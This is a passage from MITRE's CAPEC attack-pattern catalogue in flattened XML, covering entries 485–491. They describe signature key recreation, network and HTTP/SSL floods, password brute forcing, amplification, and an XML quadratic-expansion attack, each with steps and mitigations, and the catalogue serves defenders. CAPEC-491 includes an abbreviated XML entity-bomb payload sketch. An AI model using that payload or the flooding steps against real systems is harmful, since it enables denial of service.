CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification26610 + Modification_26610 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated @Name, @Status, Consequences, Description, Example_Instances, Execution_Flow, Indicators, Likelihood_Of_Attack, Mitigations, Prerequisites, References, Related_Attack_Patterns, Related_Weaknesses, Skills_Required + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName26616 + Previous_Entry_Name_26616 + + + + + + + + + 2019-09-30 + + + + + XML Client-Side Attack + + + + + + + + + + + + #CAPEC-485 + Signature Spoofing by Key Recreation + + + + + + + + + 485 + + + + + Signature Spoofing by Key Recreation + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker obtains an authoritative or reputable signer's private signature key by exploiting a cryptographic weakness in the signature algorithm or pseudorandom number generation and then uses this key to forge signatures from the original signer to mislead a victim into performing actions that benefit the attacker.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern26625 + Related_Attack_Pattern_26625 + + + + + + + + + + + + + + 473 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An authoritative signer is using a weak method of random number generation or weak signing software that causes key leakage or permits key inference.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An authoritative signer is using a signature algorithm with a direct weakness or with poorly chosen parameters that enable the key to be recovered using signatures from that signer.</xhtml:div> + + + + + + + + + + + + #indSkillSkill26632 + Skill_26632 + + + + + + + + + + + + + + Cryptanalysis of signature generation algorithm + + + + + + + + + + + + #indSkillSkill26633 + Skill_26633 + + + + + + + + + + + + + + Reverse engineering and cryptanalysis of signature generation algorithm implementation and random number generation + + + + + + + + + + + + #indSkillSkill26634 + Skill_26634 + + + + + + + + + + + + + + Ability to create malformed data blobs and know how to present them directly or indirectly to a victim. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ensure cryptographic elements have been sufficiently tested for weaknesses.</xhtml:div> + + + + + 330 + + + + + + + + + + + + #indTaxonomyMappingUnsecureCredentialsPrivateKeys + Unsecure Credentials: Private Keys + + + + + + + + + + + + + + 1552.004 + + + + + Unsecure Credentials: Private Keys + + + + + + + + + + + + #indReferenceReference26649 + Reference_26649 + + + + + + + + + REF-419 + + + + + + + + + + + + #indReferenceReference26650 + Reference_26650 + + + + + + + + + REF-420 + + + + + + + + + + + + #indContentHistoryContentHistory26652 + Content_History_26652 + + + + + + + + + + + + + + + + #indSubmissionSubmission26653 + Submission_26653 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification26658 + Modification_26658 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification26664 + Modification_26664 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-486 + UDP Flood + + + + + + + + + 486 + + + + + UDP Flood + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary may execute a flooding attack using the UDP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. Additionally, firewalls often open a port for each UDP connection destined for a service with an open UDP port, meaning the firewalls in essence save the connection state thus the high packet nature of a UDP flood can also overwhelm resources allocated to the firewall. UDP attacks can also target services like DNS or VoIP which utilize these protocols. Additionally, due to the session-less nature of the UDP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.</xhtml:div> + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern26675 + Related_Attack_Pattern_26675 + + + + + + + + + + + + + + 125 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This type of an attack requires the ability to generate a large amount of UDP traffic to send to the desired port of a target service using UDP.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">To mitigate this type of an attack, modern firewalls drop UDP traffic destined for closed ports, and unsolicited UDP reply packets. A variety of other countermeasures such as universal reverse path forwarding and remote triggered black holing(RFC3704) along with modifications to BGP like black hole routing and sinkhole routing(RFC3882) help mitigate the spoofed source IP nature of these attacks.</xhtml:div> + + + + + 770 + + + + + + + + + + + + #indContentHistoryContentHistory26686 + Content_History_26686 + + + + + + + + + + + + + + + + #indSubmissionSubmission26687 + Submission_26687 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification26692 + Modification_26692 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification26698 + Modification_26698 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification26704 + Modification_26704 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification26710 + Modification_26710 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-487 + ICMP Flood + + + + + + + + + 487 + + + + + ICMP Flood + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary may execute a flooding attack using the ICMP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. A typical attack involves a victim server receiving ICMP packets at a high rate from a wide range of source addresses. Additionally, due to the session-less nature of the ICMP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.</xhtml:div> + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern26721 + Related_Attack_Pattern_26721 + + + + + + + + + + + + + + 125 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This type of an attack requires the ability to generate a large amount of ICMP traffic to send to the target server.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">To mitigate this type of an attack, an organization can enable ingress filtering. Additionally modifications to BGP like black hole routing and sinkhole routing(RFC3882) help mitigate the spoofed source IP nature of these attacks.</xhtml:div> + + + + + 770 + + + + + + + + + + + + #indContentHistoryContentHistory26732 + Content_History_26732 + + + + + + + + + + + + + + + + #indSubmissionSubmission26733 + Submission_26733 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification26738 + Modification_26738 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification26744 + Modification_26744 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification26750 + Modification_26750 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-488 + HTTP Flood + + + + + + + + + 488 + + + + + HTTP Flood + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary may execute a flooding attack using the HTTP protocol with the intent to deny legitimate users access to a service by consuming resources at the application layer such as web services and their infrastructure. These attacks use legitimate session-based HTTP GET requests designed to consume large amounts of a server's resources. Since these are legitimate sessions this attack is very difficult to detect.</xhtml:div> + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern26761 + Related_Attack_Pattern_26761 + + + + + + + + + + + + + + 125 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This type of an attack requires the ability to generate a large amount of HTTP traffic to send to a target server.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Use a Web Application Firewall (WAF) to help filter out malicious traffic. This can be setup with rules to block IP addresses found in IP reputation databases, which contains lists of known bad IP addresses. Analysts should also monitor when the traffic flow becomes abnormally large, and be able to add on-the-fly rules to block malicious traffic. Special care should be taken to ensure low false positive rates in block rules and functionality should be implemented to allow a legitimate user to resume sending traffic if they have been blocked.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Hire a third party provider to implement a Web Application Firewall (WAF) for your application. Third party providers have dedicated resources and expertise that could allow them to update rules and prevent HTTP Floods very quickly.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Use a load balancer such as nginx to prevent small scale HTTP Floods by dispersing traffic between a group of servers.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Make a requesting machine solve some kind of challenge before allowing them to send an HTTP request. This could be a captcha or something similar that works to deter bots.</xhtml:div> + + + + + 770 + + + + + + + + + + + + #indTaxonomyMappingEndpointDenialOfServiceServiceExhaustionFlood + Endpoint Denial of Service:Service Exhaustion Flood + + + + + + + + + + + + + + 1499.002 + + + + + Endpoint Denial of Service:Service Exhaustion Flood + + + + + + + + + + + + #indReferenceReference26782 + Reference_26782 + + + + + + + + + REF-751 + + + + + + + + + + + + #indContentHistoryContentHistory26784 + Content_History_26784 + + + + + + + + + + + + + + + + #indSubmissionSubmission26785 + Submission_26785 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification26790 + Modification_26790 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification26796 + Modification_26796 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification26802 + Modification_26802 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification26808 + Modification_26808 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification26814 + Modification_26814 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2023-01-24 + + + + + Updated Mitigations, References + + + + + + + + + + + + #CAPEC-489 + SSL Flood + + + + + + + + + 489 + + + + + SSL Flood + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary may execute a flooding attack using the SSL protocol with the intent to deny legitimate users access to a service by consuming all the available resources on the server side. These attacks take advantage of the asymmetric relationship between the processing power used by the client and the processing power used by the server to create a secure connection. In this manner the attacker can make a large number of HTTPS requests on a low provisioned machine to tie up a disproportionately large number of resources on the server. The clients then continue to keep renegotiating the SSL connection. When multiplied by a large number of attacking machines, this attack can result in a crash or loss of service to legitimate users.</xhtml:div> + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern26825 + Related_Attack_Pattern_26825 + + + + + + + + + + + + + + 125 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This type of an attack requires the ability to generate a large amount of SSL traffic to send a target server.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">To mitigate this type of an attack, an organization can create rule based filters to silently drop connections if too many are attempted in a certain time period.</xhtml:div> + + + + + 770 + + + + + + + + + + + + #indTaxonomyMappingEndpointDenialOfServiceServiceExhaustionFlood + Endpoint Denial of Service:Service Exhaustion Flood + + + + + + + + + + + + + + 1499.002 + + + + + Endpoint Denial of Service:Service Exhaustion Flood + + + + + + + + + + + + #indContentHistoryContentHistory26842 + Content_History_26842 + + + + + + + + + + + + + + + + #indSubmissionSubmission26843 + Submission_26843 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification26848 + Modification_26848 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification26854 + Modification_26854 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification26860 + Modification_26860 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification26866 + Modification_26866 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-49 + Password Brute Forcing + + + + + + + + + 49 + + + + + Password Brute Forcing + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary tries every possible value for a password until they succeed. A brute force attack, if feasible computationally, will always be successful because it will essentially go through all possible passwords given the alphabet used (lower case letters, upper case letters, numbers, symbols, etc.) and the maximum length of the password.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;A system will be particularly vulnerable to this type of an attack if it does not have a proper enforcement mechanism in place to ensure that passwords selected by users are strong passwords that comply with an adequate password policy. In practice a pure brute force attack on passwords is rarely used, unless the password is suspected to be weak. Other password cracking methods exist that are far more effective (e.g. dictionary attacks, rainbow tables, etc.). Knowing the password policy on the system can make a brute force attack more efficient. For instance, if the policy states that all passwords must be of a certain level, there is no need to check smaller candidates.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern26882 + Related_Attack_Pattern_26882 + + + + + + + + + + + + + + 112 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern26883 + Related_Attack_Pattern_26883 + + + + + + + + + + + + + + 600 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern26884 + Related_Attack_Pattern_26884 + + + + + + + + + + + + + + 151 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern26885 + Related_Attack_Pattern_26885 + + + + + + + + + + + + + + 560 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern26886 + Related_Attack_Pattern_26886 + + + + + + + + + + + + + + 561 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern26887 + Related_Attack_Pattern_26887 + + + + + + + + + + + + + + 653 + + + + + + + + + + + + #indAttackStepAttackStep26890 + Attack_Step_26890 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine application's/system's password policy] Determine the password policies of the target application/system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Determine minimum and maximum allowed password lengths.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Determine format of allowed passwords (whether they are required or allowed to contain numbers, special characters, etc.).</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Determine account lockout policy (a strict account lockout policy will prevent brute force attacks).</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep26898 + Attack_Step_26898 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Brute force password] Given the finite space of possible passwords dictated by the password policy determined in the previous step, try all possible passwords for a known user ID until application/system grants access.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Manually or automatically enter all possible passwords through the application/system's interface. In most systems, start with the shortest and simplest possible passwords, because most users tend to select such passwords if allowed to do so.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Perform an offline dictionary attack or a rainbow table attack against a known password hash.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary needs to know a username to target.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The system uses password based authentication as the one factor authentication mechanism.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An application does not have a password throttling mechanism in place. A good password throttling mechanism will make it almost impossible computationally to brute force a password as it may either lock out the user after a certain number of incorrect attempts or introduce time out periods. Both of these would make a brute force attack impractical.</xhtml:div> + + + + + + + + + + + + #indSkillSkill26912 + Skill_26912 + + + + + + + + + + + + + + A brute force attack is very straightforward. A variety of password cracking tools are widely available. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A powerful enough computer for the job with sufficient CPU, RAM and HD. Exact requirements will depend on the size of the brute force job and the time requirement for completion. Some brute forcing jobs may require grid or distributed computing (e.g. DES Challenge).</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Many incorrect login attempts are detected by the system.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence26921 + Consequence_26921 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence26927 + Consequence_26927 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence26931 + Consequence_26931 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implement a password throttling mechanism. This mechanism should take into account both the IP address and the log in name of the user.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Put together a strong password policy and make sure that all user created passwords comply with it. Alternatively automatically generate strong passwords for users.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Passwords need to be recycled to prevent aging, that is every once in a while a new password must be chosen.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;A system does not enforce a strong password policy and the user picks a five letter password consisting of lower case English letters only. The system does not implement any password throttling mechanism. Assuming the adversary does not know the length of the users' password, an adversary can brute force this password in maximum 1+26+26^2+26^3+26^4+26^5 = 1 + 26 + 676 + 17576 + 456976 + 11,881,376 = 12,356,631 attempts, and half these tries (6,178,316) on average. Using modern hardware this attack is trivial. If the adversary were to assume that the user password could also contain upper case letters (and it was case sensitive) and/or numbers, than the number of trials would have been larger.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An adversary's job would have most likely been even easier because many users who choose easy to brute force passwords like this are also likely to use a word that can be found in the dictionary. Since there are far fewer valid English words containing up to five letters than 12,356,631, an attack that tries each of the entries in the English dictionary would go even faster.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A weakness exists in the automatic password generation routine of Mailman prior to 2.1.5 that causes only about five million different passwords to be generated. This makes it easy to brute force the password for all users who decided to let Mailman automatically generate their passwords for them. Users who chose their own passwords during the sign up process would not have been affected (assuming that they chose strong passwords). See also: CVE-2004-1143</xhtml:div> + + + + + 521 + + + + + 262 + + + + + 263 + + + + + 257 + + + + + 654 + + + + + 307 + + + + + 308 + + + + + 309 + + + + + + + + + + + + #indTaxonomyMappingBruteForcePasswordGuessing + Brute Force:Password Guessing + + + + + + + + + + + + + + 1110.001 + + + + + Brute Force:Password Guessing + + + + + + + + + + + + #indContentHistoryContentHistory26964 + Content_History_26964 + + + + + + + + + + + + + + + + #indSubmissionSubmission26965 + Submission_26965 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification26970 + Modification_26970 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Attack_Phases, Attack_Prerequisites, Description Summary, Examples-Instances + + + + + + + + + + + + #indModificationModification26976 + Modification_26976 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated References + + + + + + + + + + + + #indModificationModification26982 + Modification_26982 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Description, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification26988 + Modification_26988 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Consequences, Related_Attack_Patterns, Related_Weaknesses, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification26994 + Modification_26994 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification27000 + Modification_27000 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #CAPEC-490 + Amplification + + + + + + + + + 490 + + + + + Amplification + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary may execute an amplification where the size of a response is far greater than that of the request that generates it. The goal of this attack is to use a relatively few resources to create a large amount of traffic against a target server. To execute this attack, an adversary send a request to a 3rd party service, spoofing the source address to be that of the target server. The larger response that is generated by the 3rd party service is then sent to the target server. By sending a large number of initial requests, the adversary can generate a tremendous amount of traffic directed at the target. The greater the discrepancy in size between the initial request and the final payload delivered to the target increased the effectiveness of this attack.</xhtml:div> + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern27011 + Related_Attack_Pattern_27011 + + + + + + + + + + + + + + 125 + + + + + 512 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This type of an attack requires the existence of a 3rd party service that generates a response that is significantly larger than the request that triggers it.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">To mitigate this type of an attack, an organization can attempt to identify the 3rd party services being used in an active attack and blocking them until the attack ends. This can be accomplished by filtering traffic for suspicious message patterns such as a spike in traffic where each response contains the same large block of data. Care should be taken to prevent false positive rates so legitimate traffic isn't blocked.</xhtml:div> + + + + + 770 + + + + + + + + + + + + #indTaxonomyMappingNetworkDenialOfServiceReflectionAmplification + Network Denial of Service:Reflection Amplification + + + + + + + + + + + + + + 1498.002 + + + + + Network Denial of Service:Reflection Amplification + + + + + + + + + + + + #indContentHistoryContentHistory27030 + Content_History_27030 + + + + + + + + + + + + + + + + #indSubmissionSubmission27031 + Submission_27031 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification27036 + Modification_27036 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification27042 + Modification_27042 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification27048 + Modification_27048 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification27054 + Modification_27054 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-491 + Quadratic Data Expansion + + + + + + + + + 491 + + + + + Quadratic Data Expansion + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary exploits macro-like substitution to cause a denial of service situation due to excessive memory being allocated to fully expand the data. The result of this denial of service could cause the application to freeze or crash. This involves defining a very large entity and using it multiple times in a single entity substitution. CAPEC-197 is a similar attack pattern, but it is easier to discover and defend against. This attack pattern does not perform multi-level substitution and therefore does not obviously appear to consume extensive resources.</xhtml:div> + + + + + + + + + + + + #indAlternateTermXMLEntityExpansion + XML Entity Expansion (XEE) + + + + + + + + + XML Entity Expansion (XEE) + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern27070 + Related_Attack_Pattern_27070 + + + + + + + + + + + + + + 230 + + + + + + + + + + + + #indAttackStepAttackStep27073 + Attack_Step_27073 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Survey the target] An adversary determines the input data stream that is being processed by a data parser that supports using substituion on the victim's side.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use an automated tool to record all instances of URLs to process requests.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a browser to manually explore the website and analyze how the application processes requests.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep27080 + Attack_Step_27080 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Craft malicious payload] The adversary crafts malicious message containing nested quadratic expansion that completely uses up available server resource.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep27085 + Attack_Step_27085 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Send the message] Send the malicious crafted message to the target URL.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This type of attack requires a server that accepts serialization data which supports substitution and parses the data.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence27095 + Consequence_27095 + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Denial of Service</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Use libraries and templates that minimize unfiltered input. Use methods that limit entity expansion and throw exceptions on attempted entity expansion.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: For XML based data - disable altogether the use of inline DTD schemas when parsing XML objects. If a DTD must be used, normalize, filter and use an allowlist and parse with methods and routines that will detect entity expansion from untrusted sources.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;In this example the attacker defines one large entity and refers to it many times.&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;&amp;lt;?xml version="1.0"?&amp;gt;&lt;xhtml:br&gt;&lt;/xhtml:br&gt;&amp;lt;!DOCTYPE bomb [&amp;lt;!ENTITY x "AAAAA&lt;xhtml:i&gt;... [100K of them] ...&lt;/xhtml:i&gt;AAAA"&amp;gt;]&amp;gt;&lt;xhtml:br&gt;&lt;/xhtml:br&gt;&amp;lt;b&amp;gt;&amp;lt;c&amp;gt;&amp;amp;x;&amp;amp;x;&lt;xhtml:i&gt;... [100K of them]...&lt;/xhtml:i&gt;&amp;amp;x;&amp;amp;x;&amp;lt;/c&amp;gt;&amp;lt;/b&amp;gt;&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;This results in a relatively small message of 100KBs that will expand to a message in the GB range.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 770 + + + + + + + + + + + + #indContentHistoryContentHistory27116 + Content_History_27116 + + + + + + + + + + + + + + + + #indSubmissionSubmission27117 + Submission_27117 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification27122 + Modification_27122 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification27128 + Modification_27128 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification27134 + Modification_27134 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Mitigations + + + + + + + + + + + + #indModificationModification27140 + Modification_27140 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Mitigations, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification27146 + Modification_27146 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated @Name, Alternate_Terms, Consequences, Description, Example_Instances, Execution_Flow, Mitigations, Prerequisites + + + + + + + + + + + + #indModificationModification27152 + Modification_27152 + + + + + + + + + CAPEC Content Team 